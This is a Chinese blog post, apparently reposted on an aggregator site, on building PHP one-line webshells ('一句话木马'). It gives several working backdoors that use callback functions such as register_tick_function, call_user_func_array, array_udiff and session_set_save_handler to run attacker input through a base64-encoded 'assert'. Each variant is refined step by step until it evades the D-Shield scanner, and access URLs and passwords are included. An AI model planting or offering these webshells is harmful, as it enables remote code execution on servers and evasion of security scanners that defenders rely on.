zoukankan      html  css  js  c++  java
  • PHP一句话木马研究

    最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。

    现总结如下:

    方案一:回调函数

    回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

    已被D盾查杀的函数:

    array_filter() 
    array_walk() 
    array_walk_recursive() 
    array_map() 
    registregister_shutdown_function(); 
    filter_var() 
    filter_var_array() 
    uasort() 
    uksort() 
    array_reduce() 可疑(级别2) 
    array_walk() 
    array_walk_recursive()

    1.register_tick_function()

    构造一句话:

    <?php      
    declare(ticks=1);  
    register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);  
    ?>
    

    访问URL:

    IP/XXX.php?e=YXNzZXJ0

    密码:a

    2.变种call_user_func_array()

    尝试模仿正常函数调用,定义一个简单的function:

    <?php
    function newsSearch($para0){
        $evil=$para0;
        $exec=$_GET['id'];
        call_user_func_array($exec,array($evil));
    }
    newsSearch($_POST['tid']);
    ?>
    

    使用D盾查杀。

    0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

    <?php
    function newsSearch($para0,$para1){
        $evil=$para0;
    
        call_user_func_array($para1,array($evil));
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec);
    ?>
    

    OK!完美绕过!

    访问URL:

    IP/XXX.php?id=YXNzZXJ0

    密码:key 
    同样的方法可以使用call_user_func函数,构造shell如下:

    <?php
    function newsSearch($para0,$para1){
        $evil=$para0;
    
        call_user_func($para1,$evil);
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec);
    ?>
    

    3.变种array_udiff()

    用相同的方法构造使用array_udiff()的shell:

    <?php
    function newsSearch($para0,$para1){
        $evil=$para0;
        $exec=$para1;
        array_udiff($arr=array($evil),$arr1 = array(''),$exec);
    }
    $exec=base64_decode($_REQUEST['exec']);
    newsSearch($_POST['key'],$exec);
    ?>
    

    访问URL:

    IP/XXX.php?exec=YXNzZXJ0

    密码:key

    剩下的回调函数也可以用相同的方法绕过D盾。

    4.session_set_save_handler

    session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。

    编写shell如下:

    <?php
        error_reporting(0);
        $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
        function open($save_path, $session_name)  // open第一个被调用,类似类的构造函数
        {}
        function close()    // close最后一个被调用,类似 类的析构函数
        {
        }
        session_id($_REQUEST['op']);// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
        function write($id, $sess_data)
        {}
        function destroy($id)
        {}
        function gc()
        {}
        // 第三个参数为read  read(string $sessionId)
        session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
        @session_start(); // 打开会话
    ?>
    

    使用D盾查杀。$session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:

    $session=$_REQUEST['id'];
    

    看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错! 
    尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:

    <?php
        error_reporting(0);
        //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
        function test($para){
            session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
            @session_start(); // 打开会话
        }
        $session=base64_decode($_REQUEST['id']);
        // open第一个被调用,类似类的构造函数
        function open($save_path, $session_name)
        {}
        // close最后一个被调用,类似 类的析构函数
        function close()
        {
        }
        // 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
        session_id($_REQUEST['op']);
        function write($id, $sess_data)
        {}
        function destroy($id)
        {}
        function gc()
        {}
        // 第三个参数为read  read(string $sessionId)
        test($session);
    
    ?>
    

    完美绕过!

    访问URL:

    IP/XXX.php?id=YXNzZXJ0

    密码:op

  • 相关阅读:
    [HNOI2002]营业额统计 (Splay)
    [POJ1664] 放苹果 (动态规划,组合数学)
    [AHOI2009]维护序列 (线段树)
    类型转换求和
    懒人创造方法
    编程的精义
    10-instanceof
    9-接口
    6-SUPER关键字
    5-重写与重载
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/10322530.html
Copyright © 2011-2022 走看看